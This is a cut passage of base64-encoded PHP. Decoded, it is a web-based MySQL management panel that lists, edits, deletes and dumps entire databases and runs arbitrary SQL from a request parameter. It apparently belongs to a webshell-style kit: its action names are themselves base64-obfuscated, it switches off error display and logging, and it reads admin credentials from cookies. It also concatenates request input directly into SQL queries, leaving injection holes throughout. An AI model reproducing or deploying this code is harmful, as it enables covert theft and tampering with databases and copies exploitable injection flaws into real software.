3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkd